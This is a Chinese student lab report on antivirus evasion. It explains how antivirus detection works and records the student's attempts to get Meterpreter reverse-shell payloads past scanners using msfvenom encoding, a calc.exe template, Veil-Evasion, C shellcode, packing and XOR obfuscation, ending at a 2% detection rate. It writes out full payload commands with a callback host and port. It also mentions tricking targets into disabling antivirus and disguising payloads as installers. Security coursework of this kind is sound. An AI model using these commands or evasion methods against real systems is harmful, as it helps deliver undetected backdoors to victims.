20155339 Exp3 免杀原理与实践
20155339 Exp3 免杀原理与实践
基础问题
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代码,当一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)。
- 启发式恶意软件检测(很简单,就是根据些片面特征去推断,也就是进行检测,当某个软件或者程序想干一些看起来像是恶意软件干的事情,那么机会被定义为恶意软件,检测效果比较显著,可以检测0-day恶意软件,但通常是因为缺乏精确判定依据,并且因为需要一直检测,所以开销比较大)。
- 基于行为的恶意软件检测(在启发式上加入了行为监控,基于动态的监控)。
(2)免杀是做什么?
免杀,从字面进行理解,避免被杀毒软件kill,也就是恶意代码要能够不被杀毒软件发现进入并驻足于系统。
(3)免杀的基本方法有哪些?
- 改变特征码,如:对EXE进行加壳(压缩壳、加密壳);对shellcode(像Meterpreter用encode进行编码或者基于payload重新编译生成可执行文件;源代码,用其他语言进行重写再编译(veil-evasion)。
- 改变行为,有通讯方式和操作模式两种方法。
- 通讯方式包括尽量使用反弹式连接、使用隧道技术、加密通讯数据。
- 操作模式包括基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件。
实践总结与体会
基于上一次实验的基础完成了这次的实验,这两次的实验很有趣,上次的实验为了让自己完成任务或者说为了让自己开心开心,还需要假装没有杀毒软件,关闭或者在杀毒软件中把我们的后门手动添加信任,然而这次的实验,很明显,自己高端了一些,不用关闭杀软也可以攻击自己了,可是与此同时更深的恐惧也就袭来,完全太可怕了,竟然自己都能攻击得了自己,要是真正的专业人士想攻击,岂不易如反掌!除此之外,发现瑞星这个杀毒软件有点强,除此之外,发现查杀与编译的语言也貌似有些关系,用C语言编译的后门比C++编译的后门更容易被查杀,还有360查杀貌似更基于行为进行检测,而电脑管家感觉基本就是基于特征库进行查杀。
离实战还缺些什么技术或步骤?
在本次试验中,我尝试了利用Windows下的计算器程序作为可执行文件的模板来生成payload,但是事实上,并没有所少人会下载这个计算器吧。所以或许需要一个更好的比如像微信安装包这样的可执行模板并且保留其原有的功能,那应该就很厉害吧。
实践过程记录
Virscan测试后门
由于这次实验我选择的病毒扫描引擎是Virscan,所以在此先对上次实验产生的后门进行一个测试,我选择的是Virscan,还是比较好用,唯一的bug就是文件名字一旦包括数字就会说包含广告?所以需要对上次的后门重命名一次,结果直接上图吧:
的确上次试验一拷到主机就被查杀了!
使用msf编码器
在这里先贴出一些学习了的相关知识点:
一些重要的msfvenom命令行选项如下:
-p,指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定。
-f,指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e,指定需要使用的encoder(编码器)
-a,指定payload的目标架构,指定payload的目标平台
-b,设定规避字符集,比如: '\x00\xff'
-i,指定payload的编码次数
-x,指定一个自定义的可执行文件作为模板
注意:
- **生成payload,有两个必须的选项:-p -f **
- 如果你使用了-b选项(设定了规避字符集),会自动调用编码器。
msf编码训练
- 由于上次实验生成的后门非常容易被查杀,所以这次进行了一定的学习后发现使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload,想着会不会更不容易被查杀,因此进行以calc.exe为执行模板编码一次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.224.136 LPORT=5339 -x calc.exe -f exe > met-encoded.exe
- 使用-i选项进行多次编码。因为在某些情况下,迭代编码可以起到规避杀毒软件的作用:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.224.136 LPORT=5339 -x calc.exe -f exe > met-encoded.exe
查杀率依旧很高。因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这些就可以了。
Veil-Evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装,需要我们自己安装,只是安装过程路漫漫其修远兮~
安装完成之后,在Kali的终端输入
veil
进入Veil,输入list
。
输入
use 1
,选择Evasion。
list payloads
之后选择自己想要的语言,比如我第一次尝试的是powershell,所以键入use 21
。
设置IP这只端口,然后
generate
。
出现下图所示,其中记下生成的文件存储的路径。
可是此处可以看到我的.bat脚本生成失败。多次尝试仍是如此,发现很多同学也是,很多语言的脚本无法生成,因此再次尝试Python,同样的步骤,直到下一步。
选择1。
- 依旧出错,好像之前安装Python的时候出错了,由于安装这个实在需要太多时间,所以还是去尝试其他语言了。
- 再次以同样的步骤,选择C,终于成功。
一拷到我的windows就不行了
加入信任,放到网站上扫描下,然后开始回连,回连成功
C语言调用Shellcode
生成一个c语言格式的Shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.224.136 LPORT=5339 -f c
Linux平台交叉编译Windows应用:
i686-w64-mingw32-g++ met.c -o met.exe
生成met.exe。
但是拷到Windows中就会提示失败。
用VS编译生成了一个exe,放到网上扫描一下,一拖过去就被查杀了,添加信任,回连,成功。
VisualStudio
安装VisualStudio,也花费了我的很长时间,到官网下载,需要选择的没什么,只是需要网和等待,其中下图中需要进行如下选择。
在VisualStudio 2017中建项目可以参照点击此处。
对生成的shellcode进行编译,生成exe文件。
一编译就被查杀了。
扫描并回连
加壳
加壳了之后更严重了。
组合实现免杀
尝试了很多方法:
对shellcode写成的c代码加壳:
对veil选择c生成的脚本加壳,没有被电脑管家查出,但是一运行就被360kill了。
还尝试了几种没能记录,最后看修改代码,尝试对原shellcode异或0x39,然后在代码中再异或回去,因为这样就可能降低其通过特征库查杀的概率,终于可以和杀软共存实现免杀,放到virscan上也只有2%的报毒率。
20155339 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- 网站与phpwind用户同步的方法
搭建了一个个人网站,希望使用phpwind来完成论坛功能.但很快就发现存在用户同步的问题,我的网站已经有了用户管理功能, phpwind论坛也有.因此用户同步注册,登陆和注销是必须要实现的. 网上说可 ...
- 用sparkR, 分析上亿条订单数据的脚本。
上周我们这个10人的小团队开发的推荐拉新系统, 日拉新人数已接近4万人.过去几个月这个系统从无到有, 拉新从日增几千稳步增长到日增几万, 同事们几个月来,每天工作13个小时以上,洗澡时间都没有, 有时 ...
- Bootstrap源码分析系列之初始化和依赖项
在上一节中我们介绍了Bootstrap整体架构,本节我们将介绍Bootstrap框架第二部分初始化及依赖项,这部分内容位于源码的第8~885行,打开源码这部分内容似乎也不是很难理解.但是请站在一个开发 ...
- Problem4-Project Euler
Largest palindrome product A palindromic number reads the same both ways. The largest palindrome m ...
- c#List数组移除元素
; i >= ; i--) //移除已经订阅的患者 { if (AllPatientsEntities[i].姓名 == item.患者姓名) AllPatientsEntities.Remov ...
- 找回master库中被删除的系统表
接手的某个数据库实例中,master数据库中的所有系统表都被误删除掉了. 最直接影响就是一旦涉及到要查询这些系统表,就会出现错误. 例如,右键点击某个数据,查看属性时会出现如下图所示错误: 那么怎么找 ...
- Ctrl+Alt+F1~F6
Ctrl+ALT+F1~F6 可以进入不同的字符终端和图形界面.体现了 linux 或者 unix 的多用户的特点. 6个不同的终端,相当于六个不同的用户. 保持更新,转载请著名出处.
- 解决myeclipse项目中,多出的WebContent文件夹
由于通过svn导入项目,导致项目中多出WebContent文件夹,而在此之前正常的是WebRoot文件夹.这个WebContent删了之后还会自己冒出来. 直到我发现篇博客:http://blog.s ...
- 题解 P2701 【[USACO5.3]巨大的牛棚Big Barn】
题面 农夫约翰想要在他的正方形农场上建造一座正方形大牛棚. 他讨厌在他的农场中砍树,想找一个能够让他在空旷无树的地方修建牛棚的地方. 我们假定,他的农场划分成 N x N 的方格.输入数据中包括有树的 ...
- 【2017下集美大学软工1412班_助教博客】团队作业4——Alpha冲刺日志公示
作业要求 团队作业4--第一次项目冲刺(Alpha版本) 团队评分结果和评分标准 检查项 总分 会议内容 代码签入 心得体会或其他记录 燃尽图 会议照片 评论区反馈 组别 分值 10 2 2 2 1 ...